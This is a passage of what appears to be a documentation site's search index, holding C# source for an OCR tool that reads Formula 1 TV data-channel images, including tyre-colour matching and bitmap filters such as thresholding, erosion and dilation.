Tyre.Type.Inter; if (closestColor == WET_TYRE_COLOR) type = Tyre.Type.Wet; if (closestColor == EMPTY_COLOR) return Tyre.Type.Undefined; return type; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/DriverTyresWindow.html#drivertyreswindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverTyresWindow:Window { private static Random rnd = new Random(); int seed = rnd.Next(0, 10000); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00); public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00); public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8); public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e); public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6); public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20); public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Tyres\"; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override async Task DecodePng() { return await GetTyreInfos(); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private async Task GetTyreInfos() { Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone()); Tyre.Type type = Tyre.Type.Undefined; type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone)); int laps = -1; string number = await GetStringFromPng(tyreZone, Engine, \"0123456789\", OcrImage.WindowType.Tyre); try { laps = Convert.ToInt32(number); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0; } //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + \"Tyre\" + type + \"Laps\" + laps + '#' + rnd.Next(0, 1000) + \".png\"); return new Tyre(type, laps); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50, 0x50, 0x50); Color currentColor = Color.FromArgb(0, 0, 0); Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition, height); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f); int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f); if (CorrectedX <= 0) return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height); return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre.Type GetTyreTypeFromColor(Color inputColor) { Tyre.Type type = Tyre.Type.Undefined; List colors = new List(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors.Add(SOFT_TYRE_COLOR); colors.Add(MEDIUM_TYRE_COLOR); colors.Add(HARD_TYRE_COLOR); colors.Add(INTER_TYRE_COLOR); colors.Add(WET_TYRE_COLOR); colors.Add(EMPTY_COLOR); Color closestColor = colors[0]; int closestDistance = int.MaxValue; foreach (Color color in colors) { int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B); if (distance < closestDistance) { closestColor = color; closestDistance = distance; } } //We cant use a switch as the colors cant be constants ... if (closestColor == SOFT_TYRE_COLOR) type = Tyre.Type.Soft; if (closestColor == MEDIUM_TYRE_COLOR) type = Tyre.Type.Medium; if (closestColor == HARD_TYRE_COLOR) type = Tyre.Type.Hard; if (closestColor == INTER_TYRE_COLOR) type = Tyre.Type.Inter; if (closestColor == WET_TYRE_COLOR) type = Tyre.Type.Wet; if (closestColor == EMPTY_COLOR) return Tyre.Type.Undefined; return type; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/OcrImage.html","text":"OcrImage.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; namespace Test_Merge { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50); Bitmap InputBitmap; public enum WindowType { LapTime, Text, Sector, Gap, Tyre, } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage(Bitmap inputBitmap) { InputBitmap = inputBitmap; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance(WindowType type = WindowType.Text) { Bitmap outputBitmap = (Bitmap)InputBitmap.Clone(); switch (type) { case WindowType.LapTime: outputBitmap = Tresholding(outputBitmap, 185); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); outputBitmap = Erode(outputBitmap, 1); break; case WindowType.Text: outputBitmap = InvertColors(outputBitmap); outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); break; case WindowType.Tyre: outputBitmap = RemoveUseless(outputBitmap); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Dilatation(outputBitmap, 1); break; default: outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Erode(outputBitmap, 1); break; } return outputBitmap; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); pixel[0] = pixel[1] = pixel[2] = (byte)gray; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding(Bitmap inputBitmap, int threshold) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); int value = gray < threshold ? 0 : 255; pixel[0] = pixel[1] = pixel[2] = (byte)value; } }); } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B) pixel[0] = pixel[1] = pixel[2] = 0; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); List pixelsToRemove = new List(); bool fromBorder = true; for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } fromBorder = true; for (int x = inputBitmap.Width - 1; x > 0; x--) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } foreach (int pxPos in pixelsToRemove) { byte* pixel = currentLine + (pxPos * bytesPerPixel); pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } //Removing the color parts for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15) { pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; int totR = 0; int totG = 0; int totB = 0; int totPixels = 1; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B) { totPixels++; totB += pixel[0]; totG += pixel[1]; totR += pixel[2]; } } }); } inputBitmap.UnlockBits(bmpData); return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels)); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); pixel[0] = (byte)(255 - pixel[0]); pixel[1] = (byte)(255 - pixel[1]); pixel[2] = (byte)(255 - pixel[2]); } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor) { var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor); using (var graphics = Graphics.FromImage(resultBitmap)) { graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height)); } return resultBitmap; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours(Bitmap inputBitmap) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); Bitmap grayscale = Grayscale(inputBitmap); Bitmap thresholded = Tresholding(grayscale, 128); Bitmap dilated = Dilatation(thresholded, 3); Bitmap eroded = Erode(dilated, 3); for (int y = 0; y < inputBitmap.Height; y++) { for (int x = 0; x < inputBitmap.Width; x++) { Color pixel = inputBitmap.GetPixel(x, y); Color dilatedPixel = dilated.GetPixel(x, y); Color erodedPixel = eroded.GetPixel(x, y); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); int threshold = dilatedPixel.R; if (gray > threshold) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else if (gray <= threshold && erodedPixel.R == 0) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = true; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = false; break; } } if (!flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = false; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = true; break; } } if (flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } } } return outputBitmap; } } }","title":"OcrImage.cs"},{"location":"Code/OcrImage.html#ocrimagecs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; namespace Test_Merge { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50); Bitmap InputBitmap; public enum WindowType { LapTime, Text, Sector, Gap, Tyre, } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage(Bitmap inputBitmap) { InputBitmap = inputBitmap; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance(WindowType type = WindowType.Text) { Bitmap outputBitmap = (Bitmap)InputBitmap.Clone(); switch (type) { case WindowType.LapTime: outputBitmap = Tresholding(outputBitmap, 185); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); outputBitmap = Erode(outputBitmap, 1); break; case WindowType.Text: outputBitmap = InvertColors(outputBitmap); outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 2); outputBitmap = Dilatation(outputBitmap, 1); break; case WindowType.Tyre: outputBitmap = RemoveUseless(outputBitmap); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Dilatation(outputBitmap, 1); break; default: outputBitmap = Tresholding(outputBitmap, 165); outputBitmap = Resize(outputBitmap, 4); outputBitmap = Erode(outputBitmap, 1); break; } return outputBitmap; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); pixel[0] = pixel[1] = pixel[2] = (byte)gray; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding(Bitmap inputBitmap, int threshold) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); int value = gray < threshold ? 0 : 255; pixel[0] = pixel[1] = pixel[2] = (byte)value; } }); } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B) pixel[0] = pixel[1] = pixel[2] = 0; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); List pixelsToRemove = new List(); bool fromBorder = true; for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } fromBorder = true; for (int x = inputBitmap.Width - 1; x > 0; x--) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R) { pixelsToRemove.Add(x); } else { if (fromBorder) { fromBorder = false; pixelsToRemove.Add(x); } } } foreach (int pxPos in pixelsToRemove) { byte* pixel = currentLine + (pxPos * bytesPerPixel); pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } //Removing the color parts for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15) { pixel[0] = 0xFF; pixel[1] = 0xFF; pixel[2] = 0xFF; } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; int totR = 0; int totG = 0; int totB = 0; int totPixels = 1; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); int bmpHeight = inputBitmap.Height; int bmpWidth = inputBitmap.Width; Parallel.For(0, bmpHeight, y => { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmpWidth; x++) { byte* pixel = currentLine + (x * bytesPerPixel); int B = pixel[0]; int G = pixel[1]; int R = pixel[2]; if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B) { totPixels++; totB += pixel[0]; totG += pixel[1]; totR += pixel[2]; } } }); } inputBitmap.UnlockBits(bmpData); return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels)); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors(Bitmap inputBitmap) { Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < inputBitmap.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < inputBitmap.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); pixel[0] = (byte)(255 - pixel[0]); pixel[1] = (byte)(255 - pixel[1]); pixel[2] = (byte)(255 - pixel[2]); } } } inputBitmap.UnlockBits(bmpData); return inputBitmap; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor) { var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor); using (var graphics = Graphics.FromImage(resultBitmap)) { graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height)); } return resultBitmap; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours(Bitmap inputBitmap) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); Bitmap grayscale = Grayscale(inputBitmap); Bitmap thresholded = Tresholding(grayscale, 128); Bitmap dilated = Dilatation(thresholded, 3); Bitmap eroded = Erode(dilated, 3); for (int y = 0; y < inputBitmap.Height; y++) { for (int x = 0; x < inputBitmap.Width; x++) { Color pixel = inputBitmap.GetPixel(x, y); Color dilatedPixel = dilated.GetPixel(x, y); Color erodedPixel = eroded.GetPixel(x, y); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); int threshold = dilatedPixel.R; if (gray > threshold) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else if (gray <= threshold && erodedPixel.R == 0) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < 